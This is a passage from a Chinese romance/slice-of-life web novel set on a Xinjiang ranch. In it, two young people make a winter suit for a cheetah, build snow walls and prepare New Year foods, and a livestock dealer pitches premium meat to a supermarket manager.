师月江摇头，姚新泉见状耸了耸肩,“我也不会啊,所以我们做出来的衣服肯定会很难看,颜色好不好看还重要吗？” 好的,师月江觉得自己被说服了，也是，衣服都不好看了，颜色好不好看重要吗？ “而且这不是主要给人家保暖吗？莱尼的老寒腿都要被冻出来了,管他好看不好看的！” 师月江忍不住笑了起来，半晌才憋住板着脸用力点头，“你说得对！” “你给莱尼量一下数据吧，应该是要量背部长度、脖子围度还有胸围吧？”姚新泉不是很确定地问道。 “我觉得就做成小孩子的那种开裆裤，应该可以吧？” 此时的师月江并不是一个很好的聊天搭子，他只会茫然地点头，见状姚新泉叹气，“指望不上你了，你先量吧！” 她把棉袄摊平打量了半天，“你说我要直接给她套上，莱尼能穿吗？” 师月江没说话，姚新泉叹气，这可咋整啊！ 比划了半天之后姚新泉还是不知道从哪里下刀，师月江也头疼，军校里也没教怎么给豹子做衣服啊！“要不我们先找个纸壳子画个大概的雏形然后对照着剪出来？” 姚新泉眼睛一亮，赶忙将自己之前收着的装水果的箱子翻了出来摊开，这箱子还挺大的，把几个边都摊开反正是比莱尼要长了。 “莱尼身长差不多113厘米，胸围62厘米，脖子30，肩高大概75厘米”。 师月江报出数据后，姚新泉找了只笔跟尺子在纸壳子上比划，“我们就做个小背心或者小坎肩就行，腿上的话回头再给她单独缝上去。” 师月江没意见，看着她在纸壳子上画着奇奇怪怪的图纸，虽然不知道会得出一件什么样的衣服，但是看着这样的姚新泉，师月江只觉得整个人都有一种原来自己是这么真实地存在于这个世界上的踏实感。 他有一段时间每天醒来的时候都很茫然，会反应很久才想起，哦，原来我今天还活着啊！ 突然思绪被打断，“你看差不多就是这样，下边长一点，刚好能包到莱尼尾巴上面，尾巴肯定是要给人漏出来的，我之前在上海看到人家小猫的衣服就是这样，包住后背。” “胸前的话到时候再看是弄带子穿上还是搞扣子，肚子下面这点儿肯定还是要空着的，方便她上厕所。” “腿上的话到时候看就用衣服袖子改一改，接上去我觉得是行的。” “至于脚上”，姚新泉沉吟，怎么办，突然想给她做一双羊皮鞋！ “算了算了，咱们把腿做长一点，然后底下给她缝个羊皮垫的鞋底，腿跟鞋连在一起”，姚新泉激动得拍了下手，“这不连体衣吗？” “咳咳！”师月江被水呛了一下赶忙把杯子放下，在姚新泉看过来后用力点头，眼神很是真诚，“我觉得特别好！” 莱尼面无表情地看了他一眼，心虚的师月江总觉得那眼神似乎在说，那做好了你穿！ 嘿，反正他穿不上，怕什么？ 姚新泉在什么事情上都是敢想敢做的，既然没有更好的办法，她拿起剪刀就动工，反正这衣服小了也穿不下。 “你等我给莱尼比划一下，大小合适的话咱们接着再把边上缝一下，不然棉花都跑出来了！” 姚新泉拿着那件剪好的棉衣凑近莱尼，没等莱尼跑呢，姚新泉一把抱住了她，把棉衣包裹住她比划了一下。 “大小倒是可以，就是肚子这里还得剪掉一截，不然到时候可能小便的时候会溅到。” 莱尼生无可恋地看着师月江，师月江耸了耸肩，人家多好心啊，可不能挑三拣四！ 再加工了一下后姚新泉递了根针给对方，“穿线，把边上缝住，咱们第一次做就不包边了。” 师月江很是听话地接过针，学着姚新泉的样子舔了舔线头小心穿了过去，把线打结后扯断。 缝住边很容易，正面扎过去后又从正面下针，尽量保证针脚够密，不跑毛就成。 两人一人从一边儿缝，很快就缝完了，姚新泉看了看后有点发愁，“要不我再戳几个对称的洞，然后用绳子系带？” 师月江很捧场，“我觉得挺好的。” 姚新泉开了四个眼，两人又给洞眼锁边之后这就算是把主体做好了。 她又比划了下猎豹的腿长，好家伙，本来想着一条袖子能不能做两条腿，结果人家大长腿，也就堪堪够一条的而已。 没办法姚新泉又翻出了一件黑色棉衣，剪下了两条袖子，“我爸妈要是知道估计得心疼死了！” 她叹了口气，脸上是难得的惆怅，倒让师月江心里也觉得憋闷得慌。 “不过没事儿，地方腾出来了，等回头我再买点儿新衣服填进去！” “好，我给你买！”话赶话说完师月江才觉得不对，就算是朋友也没哪个单身男性给女性朋友买衣服的吧？这显得多暧昧啊！ 而且他们算朋友吗？ 应该算吧！ 也不知道姚新泉是没听到还是装没听到，反正没接这个话。 “袖子咱们就不改了吧，在底下缝上一圈底子我觉得就成！” 说完她又跑去仓库里翻出了一沓羊皮边角料，她爸妈其实有好几件羊皮大衣，当时的边角料他们都没舍得扔，现在倒是刚好用得上了！ “我也不知道该怎么缝，反正把底子缝上就成！”两人一人两条腿缝了半天才算是把鞋底跟裤腿都安好了，姚新泉深深吐出一口气。 “我宁愿让我去干体力活也不想低着头在这缝一下午！” 其实很多女孩子家里都会教她们要洗衣做饭要做衣服要干嘛干嘛的，说起来为什么要什么都会呢？ 一说就是嫁到婆家去，如果什么都不会婆婆会说的！ 可难道女孩子从出生到死亡只是为了去婆家劳动的吗？ 姚新泉除了牧场上的活儿之外，她会做饭会收拾房间，做饭是姚母教的，不是为了将来讨好谁，只是因为担心他们夫妻俩出去放羊或者干别的活了，孩子自己在家饿着怎么办？ 至于做衣服这个事情，其实姚妈会做，而且做的不错，可她没打算教，姚爸也不让她教。 按姚爸姚妈的说法，这个事情又费眼睛又费脖子的，做什么非要学？有这个时间多去看看书不好吗？这又不是什么必须的生存技能，说什么将来婆婆说，那就找一个将来不会说的婆婆！ 或者找一个没有婆婆的男人！再或者招赘！反正总有不委屈自己的法子。 再说了，如果姚新泉喜欢也就罢了，她摆明了没兴趣，总不能说自古以来女孩子都要学，她就得学吧？ 那自古以来还有皇帝呢，现在谁当一个试试去？ 所以姚新泉的缝纫技巧仅限于把开线的裤子缝起来而已，够用！ 两人折腾得一头汗，抬头对视时都笑了起来，“也是不容易，给莱尼试试吧！” 师月江点头，他拿着衣服向莱尼走去，不知道为什么总觉得莱尼眼中满是嫌弃。 师月江低头看了一眼，这不挺好看的？嫌弃什么？ 莱尼不爱叫也不爱动，他走过去人家也不挪动，无奈师月江只能把孩子抱起来，然后把四条腿都塞进裤腿里，又把身上整了整，“大小合适诶！” 第一次见师月江笑成这个样子，牙花子都露出来了，姚新泉也被感染得高兴了起来。 “是吧！我就觉得肯定好穿！你等我把这个帽子的抽绳扯出来，给莱尼系带用！”说着扯出了一条红色的抽绳，系到四个洞眼里去后小心打了个蝴蝶结。 “大功告成！莱尼，走两步！” 莱尼僵硬得像是腿都不属于自己的了，也不知道是跟谁租来的，她四条腿小心地往前迈，边走边找自己迷失的四条腿，小细腿在裤管里逛荡，她幽怨地看了两人一眼。 “叽！” 第33章 “雪终于停了！”姚新泉看着太阳缓缓吐出一口气,整天听着外面北风呼啸也怪难受的。 师月江深有同感地点头，“我老家是北京的，那边冬天也冷,也下雪,可雪就算再大跟牧区这种铺天盖地席卷而来的感觉还是不一样的。我好几次从窗户里往外看都觉得人是真的好渺小啊！” “行了,别感叹那么多了,今天可有的是活儿干呢！” 师月江失笑,“没忘,不是垒挡 雪墙吗？其实我有点好奇，为什么非要等下了雪再垒挡雪墙？反正羊圈这些都在这边，不能提前用砖石垒好吗？因为成本低廉吗？”只有雪跟人工？ 姚新泉摇了摇头，“不止,用雪的话方便快捷,等春天化了还能自然消失。我估计跟以前的游牧民族会频繁搬迁也有关系,你用石头也好砖块儿也罢估计灵活性不强，总不能人走了，还专门把东西拆下来搬着走吧？” 师月江点头,看着地上的雪他突然道,“我估计还有别的原因。用雪做的挡雪墙它本身的密度跟温度都跟周围积雪一样，可以有效减缓风力吧！砖石垒的墙可能就会因为材质的问题导致局部积雪不均？而且雪墙里雪的柔韧性也能吸收风雪的冲击力减少结构损伤的风险,不像是砖石,有被压塌的风险。而且雪墙还有隔热性,这么一想确实好处多多啊！” “打住打住！”姚新泉做了个停止的手势,“不要在我一个文科生面前聊这些，我现在最多还能记得点儿生物。” 师月江哈哈一笑，“不过是我的一些拙见罢了，具体有没有这些原因不好说,不好哪怕只是因为造价低廉也是有意义的”。 有时候什么最不值钱，人力啊！ 两人在牛圈、羊圈、马圈前方大概两三米的位置，在西北方开始垒，主要是为了防西北风。 “这围一圈工作量也不小啊！”姚新泉感叹道，她家这个圈估计是为了将来能放几千上万只牲畜来建造的，面积很是不小，哪怕不喜欢叫苦叫累的姚新泉看着都有种崩溃感，啥时候能垒完啊！ “没事儿，慢慢来，今天忙不完就明天再干，你不是说这几天估计是不会下雪吗？” 姚新泉嗯了一声，系统说的，当然姚新泉告诉他的时候是说凭经验断定。 两人拿着铁锹将积雪铲到一起，堆出底部差不多有一米宽的长条，之后往上可以再窄一些。 “这积雪太松散了，得踩踩实啊！”姚新泉想了想招呼狗狗军团们上来干活，它们汪汪大叫着冲了上来，轮番踩跳着。就连跟出来头上被姚新泉包了条围巾的莱尼也被姚新泉抱上去踩了踩。 她刚把莱尼放下，就感觉衣服被拽了一下，回头一看，就见皮皮眼巴巴地看着自己。 姚新泉一愣，就听旁边的师月江噗嗤笑出声来，“人家让你抱它呢，新泉，你可不能厚此薄彼啊！” 姚新泉瞪他，“你行你来！” 师月江很无所谓地摇了摇头，“你知道的，我现在弱不禁风。” 就知道拿话挤兑她！姚新泉无奈翻了个白眼，这话其实是她说师月江的。 前两天姚新泉给师月江拿了一罐百雀羚跟蛇油膏让他擦脸擦手，她当时说，“你本来就细皮嫩肉的，别新省的北风再把你给吹得皴裂了！” 师月江不想要，不是因为别的，主要是吃人家的住人家的还用人家小姑娘的擦脸油，师月江实在是不好意思。 但姚新泉误以为他觉得这东西只能女人用，他一个大男人不能用，所以就说，“你瞧你弱不禁风的样子，你现在手腕估计还没我的粗，有啥不能用的？” 好家伙，记仇到现在啊！ 姚新泉懒得理他，她回头看向皮皮，很认真得跟她摇头，“宝贝，你不能上去！要不你抬腿去敲？”说着示意她转过身去摆出踢人的姿势，蹄子落在雪墙上。 皮皮的眼睛好像亮了起来，她像是找到了什么有趣的事情，两条腿轮换着“踢人”。她也不是傻子，不至于不舒服了还硬要用腿踢，就是孩子想有点参与感罢了。 见她找到乐趣了，姚新泉便也不再打扰她，埋头继续干活。 地方实在是大，两人干了将近一天半才垒完，等师月江回到屋子的时候胳膊都在发抖。 见他这样姚新泉又笑得不行，“你看你那么大个个子，瘦的身上就皮包骨头，平时吃饭也跟小鸡仔一样，也不见你好好锻炼，你连莱尼都抱不动吧？” 脱下衣服的莱尼根本懒得理两人，靠在暖气边上沉沉睡去，好暖和啊！ 师月江都懒得解释，自己如今的食量已经增长了不少，在这里他已经算是吃得好睡得好了，身体总会慢慢补起来的。 见她眼中满是笑意师月江也不跟她计较，只是洗完手后没忍住往她身上抖了两滴，然后得来姚新泉的一个白眼，“幼稚！” 姚新泉把饭热上，师月江之后会洗碗所以也不去跟着凑热闹，他拿起了姚新泉之前买的《神雕侠侣》出来看。 姚新泉瞄到他在看这本书便问，“看到哪儿了？” “小龙女被欺负之后负气出走，杨过下山去寻人”。 姚新泉想到剧情就心塞，忍不住吐槽，“你说作者有什么毛病，好好的姑娘非要让人欺负了！这就是那什么把美好的事物毁灭给人看是吗？从而能达到一些戏剧效果？反正我是没觉得哪个读者是真的希望小龙女被人欺负的。” 师月江嗯了一声，“不过尹志平也挺惨的”，他觉得这话有歧义，赶紧解释了一句，“我不是说小说角色，我是说历史上的真人。” “这个角色有原型？”姚新泉有些惊讶。 师月江摇头，“不是原型，只是这个人名是历史上真实存在的。尹志平确实是全真教的一名道士，还是丘处机之后的第六代掌教宗师，对于全真教的贡献也非常大。而且历史上的他严于律己、不慕名利，人品那是说得上的，可是小说里却把他刻画成了一个乘人之危玷污女性的卑鄙小人”，师月江叹了口气，“文人的笔杆子轻轻一写，别人的千古名声就没了。” 姚新泉瞪大了眼睛，“这就有点膈应人了，我要是道教的弟子我肯定受不了，他们没提出什么意见吗？” 师月江叹了口气，“这本书开始连载得倒是比较早，但那时候是在香港连载，咱们这边基本很难看到。道教倒是也有相关的协会，我记得好像是五几年的时候成立的，但后来的事情你也知道。” 姚新泉点头，那段时间他们能低调活着就已经不容易了。 “道教协会好像是八十年代才恢复工作的，目前还没见他们跟作者商量这件事，但我听说已经有不少人不满了，提出意见是肯定的，就是不知道作者会不会修改！” “我觉得会”，姚新泉很是肯定道，“除非说作者跟这个人有什么仇怨，或者有什么别的企图，不然正常情况下这样污名化一个历史上的名人，不告不理也就算了，既然有人提出来，还是相对官方的一个组织的话，他不可能不去考虑他们的意见的。” 再说了如果这个历史上的尹志平跟全真教没有任何关系，只是一个普通人，甚至是个毫不相干的名人倒也无所谓，问题是人家就是全真教的啊！ 你好端端把人家写成□□犯谁能乐意？ 师月江点了点头认同了她的话。 不知怎么着姚新泉又来了谈兴，“我之前在学校读到这本书，好多男生都说是因为她对尹志平有了感情，我当时就恨不得上去给他们一脚，狗屁的感情！谁他娘的会对□□犯产生感情？” 师月江见她柳眉倒竖的模样心里有些好笑，又赶忙安抚，“我觉得你说得有道理，小说里说了小龙女本性温和，从没有杀过人，所以即便对一个伤害自己的人她也未必下得了手”，作者把这个人物刻画的比较复杂，有没有他自己的一些想法掺杂在内他不愿意去考虑，估计姚新泉也不乐意听。 姚新泉哼了一声，“反正不管什么原因，绝对没有任何一点是因为感情！” 两人顺着又聊起了别的小说，两人都不是死读书的性格，生活中不可能只有课本，在读书之余也会看些小说消遣，一时间倒是谈的很愉快。 “我大学的时候其实买了不少画报、漫画这些，像是《霍元 甲》、《少林寺》，还有《连环画报》，上面好几个作者我都挺喜欢的。还有漫画，不知道你有没有看过，我之前还买了《铁臂阿童木》、《哆啦A梦》、《阿拉蕾》跟《七龙珠》呢！都特别好看！” 她脸上露出些遗憾来，“后来毕业我爸妈给我在上海买的房子离我当时的单位特别远，所以我就另外租了房子，那些画报跟漫画就都没带过去，在学校卖给学弟学妹了！” “要是早知道我会回来干脆就直接寄回来了，咱们冬天也能多个消遣！” 师月江没说自己都看过了，反而配合着做出遗憾的表情来又安慰她，“没事儿，咱们每天也挺充实的”，胳膊打颤的那种充实。 第34章 师星野放下电话后叹了口气,李秘书有些担忧，“师总，是小师总那边遇到什么麻烦了吗？” 师星野摇了摇头,“没什么事情,你先去忙吧,有事我叫你。” 他靠在椅背上想事情,从电话里听弟弟的状态倒是蛮好的,而且他不经意间透露的两人相处日常让师星野听了也高兴。 弟弟从回来到出去旅游期间虽然脸上一直带着笑,可性子却沉静了许多，身体也一天天瘦削了下去，一米九的大个子瘦的跟个竹竿一样，不知道的还以为他吃了什么违禁品呢！ 他也多次带弟弟去体检,也让家庭医生关注他的身体问题,又请了老中医来给他调理,弟弟倒也配合，该吃药吃药，该抽血抽血。 他身体上没什么大问题,就是心理上、精神上的压力和痛苦让他折磨着自己。 莱尼的到来确实让他好了一些,他从夏末开始就一个人开着车带着莱尼出去旅游了，不曾想现在倒被困在了新省一个偏远的牧场。 师星野叹了口气,他确实很是担心弟弟,也为了不能和弟弟见面、一起过年而感到遗憾,但无论如何弟弟的心情最重要。 他高兴就好。 “李秘书,上次让你查的姚家牧场的情况那边反馈过来了吗？” 李秘书把文件夹递给了师星野，师星野没接，“这样，你走张教授的关系去农业大学找一下他们畜牧相关的教授,让他们分析一下牧场未来的发展前景以及如果要改良需要做些什么。钱不是问题，了解清楚比方说是否需要引进什么动物？他们有没有渠道？我这边会给它们实验室再投入50万，后期如果有需要可以再申请拨款。让他们做个可行的计划出来，有偿的。” 李秘书咂舌，大老板这真是把小老板当命根子了啊！ 这牧场搭上师家的车那可真是要起飞了！ “那个小姑娘的情况我去了解过了，养殖水平暂且不提，是个聪明又好学的，她既然接手了那家牧场，那肯定是要往现代化的方向发展的。人家对咱们月江有恩，那我肯定不能小气了！” 李秘书走了之后他又叹气，心底有一些隐秘的担忧，孤男寡女又都是年轻人，弟弟长相是拔尖儿的，那个女孩子从照片上来看也是个很好看的小姑娘。 两人一起待这么长的时候，谁知道会不会发展出什么感情？ 人家小姑娘为了回家接手牧场，连上海外企的高薪工作都辞掉了，那为了弟弟来北京的可能性也不大。 如果两人真的成了，按弟弟的性子那肯定就是要留在牧场了。 这么大老远的，将来见一面都费劲儿！ 师星野叹气，又琢磨着干脆把公司往北疆开吧，到时候万一有什么事务要去处理，自己也能顺带去看一看弟弟弟妹。 不然将来两人有孩子了，自己这个做大伯的逢年过节难得见一面，孩子对自己不亲怎么办？ 师月江是怎么也想不到，他哥为了他未来的孩子已经打算把公司注册到北疆来了，就，想的还挺多。 …… 话说马强一般情况下收了牛羊办好手续后那都是没养两天就往下家去卖的，但是姚新泉这批牛羊他收到手之后愣是没找买家，反而在家里用心养着。 “你说说你这白往里搭钱，也不知道图什么？”他媳妇儿嗑着瓜子吐槽道。 马强白了她一眼，“你懂个屁！我过会儿找人过来杀一头羊跟牛，我得带走一部分，剩下的你也不许动，我得拿去走关系。” 马芳芳切了一声，当谁没吃过羊肉一样！ 可等马强带着半扇分好的牛肉跟羊肉离开后，马芳芳没忍住跑去割了一块儿牛肉下来打算炒着尝尝。 “什么破肉还值得你小心成这样，真把别人当贼了是吧？要我说这肯定是被人骗了还给人数钱呢！蠢货一个！” 她是马强二婚娶回来的小媳妇儿，倒也不是马强抛弃了前面那个，只是前面那个没福气，年纪轻轻就病死了，也没留着个孩子。 马强虽然比她大了十几岁，但是人家有钱有本事，虽然是个二婚，但没孩子，那跟头婚有啥区别？ 婚后的日子过得倒也不错，反正马芳芳还挺开心的，就是这人一天到晚为了点儿破牛破羊在外面跑，都没时间陪她，真烦人！ 她不大会做饭，随便把瘦肉切了切，下锅拨拉熟之后放了点儿皮牙子跟辣椒进去翻炒了一会儿，又撒上盐就出锅了。 等盛好后她端着盘子人都傻了，“这，这是我做的？” 没等拿筷子她便忍不住捏了一块儿牛肉放在嘴里，嫩！真嫩！ 没有腌制的肉又嫩又滑的，没有纤维感，似乎放在口中不用咀嚼，牙齿轻轻一碰就能被咬断一样。 而且每块儿肉里都带着丰富的汁水，咬下去的瞬间汁水在口中四溢。辣椒跟皮牙子又为牛肉增添了丰富的口感，马芳芳眼睛都瞪大了，“嘿，这老马还真没被骗啊！” 另一边马强开着车到了一家私房菜门口，又从后备箱里把自己带来的牛肉、羊肉提了出来。 “马总您来了啊，您快里面请！”那人接过马强手里的袋子，马强赶紧道，“这可是我今天的宝贝，你过会儿跟大厨叮嘱一下，可得好好露两手，我这单生意要是谈成了，肯定还是续订你家会员的！我那些朋友我也都给你们介绍过来！” 这家私房菜在他们市里名头不算特别大，主要也是开的时间不太长，但是他们大厨手艺不错，而且环境也还好，包间私密性什么的都还挺好的，所以马强也乐意过来。 经理听了这话更高兴了，“您放心，我肯定让大厨拿出看家本领来！不知道您今天的客人是哪位呢？若是有忌口咱们也好提前避开！” 这也是马强在这里消费得高兴的原因，他们店别看不太大，但是估计老板也是个有本事的人，消息很是灵通，凡是市里有点儿名气的人，他们这里都能弄到人家的喜好避讳或者忌口什么的。 “是家乡好超市的经理唐跃军”，经理听到后只是笑着点头，马强就知道他们心里有数了。 “我带来的肉有不少，你让大厨看着做，每个部位的最后再给我留一块儿好的不要加工。” 经理了然地点点头，“等大师傅分割好了之后我会让人打包好的。” “行，那今天就辛苦你们了！” 成败在此一举啊！ 新省别的多不多不好说，这养牛羊的人那恨不得遍地都是啊！ 他之前生意做得不算小，可是也不算正规，没正儿八经注册公司去搞，也就导致很多之前不如他的人已经爬在他的头上了！ 家乡好超市是他们市里最大的一家综合性的超市，不管是生鲜、粮油还有零食、服装、日用品，反正基本上什么都有。 他家货源也广，品种也多样，所以从入驻本市后就立马挤压了其他几家本地超市的生存空间。 这家超市最开始是开在乌市的，后来慢慢往各地扩张，在新省算是很有实力的一家超市了，所以马强很想攀上他们。 如果自己公司的东西能进家乡好超市，那说出去感觉都不一样了啊！ 特别是对于他这种才成立的小破公司来说，简直算是镀了一层金！ 之后就算他不再这么想办法攀关系，人家知道他公 司的产品进了家乡好超市那肯定跟现在不一样！ 他如坐针毡一般等待了半个小时左右家乡好超市的经理孙建设才被引了进来，马强赶忙起身很谦逊地握手，“孙经理你好，我是‘鲜锋’肉业的老板我叫马强”，握完手后又殷勤地为他拉开椅子倒上茶水。 “我是个粗人也不太懂这些茶水，人家说好我就跟着点头，希望没委屈了您！” 孙建设笑了笑，“你这可就折煞我了，我就是农村出身的，别说是这种茶水，早年能有口干净水喝都不错了！” 两人又寒暄了两句马强这才说明来意，“今天辗转请您来这里主要是因为我这边收到了一批肉质特别鲜美的牛羊，我这人说话直，也不会别的，就一手看牲畜的本事还算不错。我也直接说来意了，我是想让您尝尝这肉如何？这是精品肉，比市面上绝大多数肉的肉质都好，不知道这肉可能在咱们超市上架？” 孙建设早就习惯了饭桌上推杯换盏之间试探性地你来我往，马强这么一记直球倒是让他愣了愣。不过也许是厌烦了那些人说一句话兜三五个圈子的模样，他便也实话实说了，“我们超市一般品质的牛羊肉不缺，也有固定的合作商家”，不等马强泄气他又接着道，“但如果你这批肉的质量是真的很高，那我们倒也不是不能再给你开一条线，当然这一切的前提都是你家的肉确实好，另外还得保证产量”，毕竟如果这就是一锤子买卖其实也真没必要了。 马强眼睛亮了亮，“瞧您这话说的，我不敢说每年有多大的产量，但是逢年过节的时候还是能有不少的！” 马强忍不住在心里念叨，回去之后他可得好好求求小姑奶奶，这牛羊可得好好养，这可是关系到他的身家性命啊！ 或者她如果能把养牛羊的秘方告诉他也成！当然了，人家也不傻不是？ 第35章 “红烧牛腩、杭椒牛柳、烤牛肋排、葱爆牛肉、牛尾汤、炭烤牛舌、清炖牛肉、凉拌肚丝”,孙建设没忍住笑了一下，“你这是带了多少肉过来？” 马强既然决定在人家面前摆出一副憨厚直来直往的模样自然也不再打哈哈，便直接道,“不算特别多,我这次总共收了75头羊跟14头牛,牛羊各宰了一头,我今天各带了半头过来,除了用来做菜的这些之外剩下的您可以带回去,不管是自己吃或者怎么样都成！” 没等他说话，马强又介绍桌子上的羊肉，“烤羊腿、孜然烤羊排、红焖羊肉、羊肉丸子、红烧羊蝎子、白切羊腩、葱爆羊肉、羊杂汤。我让大师傅把不同部位的肉都分开了，专门做了不同的菜,您看着尝尝？” “这可太多了”,孙建设都不禁有点感叹,请他吃饭的人不少，但是像马强这样不管什么单数双数、肉菜素菜的一股脑上来的倒让他啼笑皆非了。 可越是这样越是让他想要尝尝这肉到底有多好！ 他夹了一筷子白切羊腩，味道到底好不好那还是得看原味。 孙建设夹起一片羊腩看了起来,“这肉看着不错,脂肪和瘦肉有分层，煮熟之后看起来软糯和筋道并存啊！” 这位大师傅是保留了羊皮的,外皮经过焯煮和冰镇之后看起来就很弹。 他将羊腩放入嘴中,羊肉的脂肪层如凝脂般顺滑,入口即化,而瘦肉部分因处理得当吃上去一点也不柴，咀嚼时却也还是带着轻微的撕扯感。 至于羊皮的弹压跟底下胶质层的黏糯结合在一起，更是给味蕾带来了绝佳的奇妙感触。 本地有些羊地味道会重一些，有人就更喜欢这种味道强烈的肉,但大多数人还是更喜欢没有太大膻味的羊，孙建设就更喜欢后者。 “手艺好，肉也好！” 他感叹了一句便住了筷子，“这样，我出去打个电话，这么多的菜咱们两个人也不可能吃得完，让师傅先收下去保温，我去把超市的管理层都叫上来，这样既不浪费，同时也能让你家的肉进超市少两分阻力。” 一听这话马强便乐了，赶紧找人把菜撤下去温上，别说只是撤下去过会儿上，现在让他回家杀一头再带过来重新做他都愿意啊！ 外面马强的生意做得怎么样姚新泉倒不是太清楚，不是她没跟人联系过，是家里的电话线最终还是没熬过这个冬天，在又一次的大雪中牺牲了。 “幸好我提前跟家里人说了，你也提前跟你哥说了，不然你家里人怕不是要以为你失踪了吧？” 师月江笑着摇头，他哥有可能飞过来派人上山找他。 “行了，反正联系不了外面，咱们就老实过自己的日子吧！腊月初八过了咱们才反应过来，反正现在也没什么事儿，今天又是小年，咱们之后就顺着习俗往下过吧！” 姚新泉兴致勃勃，今年家里过年不能放炮不能贴福之类的，不过本地没有那个规矩说不能过年。 姚爸姚妈都是特别开明又特别疼她的人，所以姚新泉相信就算父母在天之灵知道，他们也更希望自己能好好过完每一天，而不是守着他们的牌位，让自己沉溺于悲伤之中。 所以她打算好好把年过了。 师月江自然是没有意见，只是有些不好意思道，“我不太懂这个”，他是真的不懂。 早些年家里条件还好的时候他年纪小不记事，后来家里出了事儿，他们过年能吃上一顿饺子就算很丰盛了。 等平反回来之后，最开始家里爸妈过年的时候也忙着工作赚钱，可能到了大年三十或者初一抽空跟他们兄弟俩吃个饭。 后来他们心思也不在工作和家庭上了，两人虽然没有离婚，但是在外面都有人，就说他们兄弟也大了不需要跟他们一起过年了。 又过了两年，他们为了给自己所谓的真爱名分，也为了那边的孩子离婚，家里就更没有什么所谓的团圆年要过了，不过师星野每年不管再忙都会回家陪他。 等到他读军校被特招入伍后那就更没什么可说的了，所以真算起来他好像没过过什么正经的年。 姚新泉无所谓地摆了摆手，“你以为我记得清楚啊？我那时候更多的只是一个旁观者，时间久了印象就淡了，咱们摸索着来呗！” “比方说我记得今天小年好像是要大扫除的，咱们开始吧！” 师月江点了点头，他把之前自己翻出来的家里的旧报纸叠了帽子递给姚新泉，姚新泉笑了笑，接过后就扣在头上，“今年的工作量不大，这是新房，住了也没多久，应该也不太脏。” “不过我记得我爸最开始是说想盖外面是砖房里面是土坯的那种房子，说保暖性好。但我妈没同意，说住了半辈子土坯房，之前好不容易住上砖房，现在换房子难道又活回去了？反正大不了多烧点儿柴呗！” 姚新泉提起父母就满脸笑意，“我爸嘴上嘟嘟囔囔的，但实际上他跑去找人专门弄了锅炉回来，这在我们县里就算不是头一个，但也算是少见的东西了！锅炉暖气一安这屋里也足够保暖，而且干净一些，除了厨房那边灰大，其他地方还好。” 如果是土坯房，家里的灰肯定更多。 “你住的那间你就把桌子那些擦擦就成，九月左右我回来的时候我收拾过一遍，不太麻烦，主要是厨房、客厅、卫生间这些地方，还有外面堆放杂物的地方也得收拾收拾。” “今年没来的及，我明年打算围个院子，等春天的时候去下面谁家挖两棵葡萄藤回来，你看咱这屋门口 光秃秃的，啥也没有！” “我到时候帮你去问吧，尽量找那种能适应高海拔跟高寒气候的葡萄。” 姚新泉点了点头，不过这都无所谓，养死了再换一株就是了。 姚新泉在厨房收拾，师月江主动请缨去了卫生间，小家伙们则是跑出去玩了，莱尼也去了。 让姚新泉说，她觉得莱尼还挺喜欢那套衣服的，这不就穿着出去玩儿了吗？ 收拾屋子就是这样，看着好像没什么成果，但是轻轻松松让你忙一天还累成死狗。 姚新泉瘫坐在沙发上不想动，见状师月江主动站了起来，“我去煮个面吧？” 见姚新泉满脸写着怀疑，不是说不会做饭吗？ 师月江赶忙解释，“我是想着家里有挂面，你昨天卤牛肉的汤还在，我把面条煮好之后倒点儿汤，再烫点儿白菜叶子，我觉得会好吃！” “这不就是红烧牛肉面吗？”姚新泉失笑，“那你去吧！” 两人吃过味道还不错的牛肉面后匆匆休息了，第二天两人除了喂牛羊就在家里瘫了一天。 腊月二十五的时候姚新泉突然想到家里还有豆子，“你刚来那天我还煮了豆浆，这两天都给忘了，咱们再磨点儿豆子吧！” 想到什么她用力拍了下大腿，“我咋都忘了，我们可以发豆芽啊！” 她飞快地去把家里的黄豆、绿豆翻了出来，找了两个盆各装了一些豆子进去泡着，绿豆少一点，黄豆多一点。 “你喜欢吃黄豆芽还是绿豆芽？” “绿豆芽”，师月江毫不迟疑地回答，姚新泉也满意地点了点头，“我也喜欢吃绿豆芽。” 姚新泉有时候还挺挑嘴的，比方说当黄豆还是毛豆的时候她很喜欢吃，不管是用来炒菜还是单独炒，又或者把豆荚煮了吃，她都很喜欢。 可是一旦当黄豆成了豆芽之后，她就开始讨厌那些豆粒粒了，觉得人家又不脆又不香，也不清甜，反正非常难吃，如果不是不想浪费粮食，她甚至都想专门把黄豆粒粒吐掉！ 此时听到师月江也更喜欢绿豆她又高兴了，“等绿豆芽发好了之后咱们可以清炒也可以凉拌，冬天吃上肯定爽口！” 因为泡发豆子需要时间的原因，姚新泉决定将本来不知道安排在哪一天做的炸小吃放到今天来。 “我打算做馓子跟麻叶，你想吃什么？” 师月江想了想才道，“咱们能炸小酥肉吗？” “这还有啥不能的？”姚新泉摆了摆手，“正宗的不会做，不正宗的难道还不会了？再说了这又是肉又是用油去炸，只要调味儿不拖后腿，一般也难吃不到哪里去吧？” 师月江想了想确实是这个道理，他看着姚新泉的笑脸也笑了起来，好像没有什么事情能难到她或者打垮她，她的乐观跟强大不自觉地让师月江的目光长久地在她身上停驻。 “那你去把里脊肉给我拿一些过来，我去找芝麻，厨房里面粉鸡蛋清油这些都有，我先把面和上。” 师月江本来去拿肉的，可不知怎么又跑去了菜窖，端了小半盆蘑菇回来之后问，“咱们可以再炸些蘑菇吗？”他笑得很是不好意思。 难得他说了点儿自己想吃的，姚新泉自然愿意配合。倒不是说她非要哄着对方，只是这里就他们两个人，举手之劳能让对方开心的事情为什么不做？ 再说了，再不吃的话，蘑菇就要坏啦！ 第36章 等到了和面的时候姚新泉没忍住问了一下,“你真的想吃馓子吗？” 师月江抬头看了她一眼便知道她是怎么想的了，便道，“其实也没有特别想吃,油炸的东西吃多了容易腻,咱们炸这么多的话不吃都会放软了。” 姚新泉用力点头,“就是就是,那就不炸馓子了”,她话音一转,“不过我想炸糖糕，你想吃吗？” 师月江又配合地点头，“想啊，外面酥脆里面软糯中夹着糖心,我也喜欢吃的！” “成,那这样,咱俩一人一盆儿面，我来和麻叶子的，你去发面,不用很多,咱们炸上一些，那东西多了吃着也腻！” 想了想又问,“你想吃丸子吗？反正今天都要炸,不如都做上一些？” 师月江见她这么有兴致便也都随着她来,“那要什么馅儿的呢？我先去搬回来？” “萝卜吧！咱们炸一点儿萝卜的素馅丸子,再炸一点儿萝卜肉的丸子！”说着推他，“我估计你也不会发面，你去菜窖拿些萝卜上来，削皮再擦丝。你在我旁边这个柜子里找找,我记得里面有一个我爸自己做得擦子，你洗洗之后再用。” 姚新泉给他挪了个位置，师月江蹲下翻找了起来，没一会儿拿出一个木头工具，“是这个？” 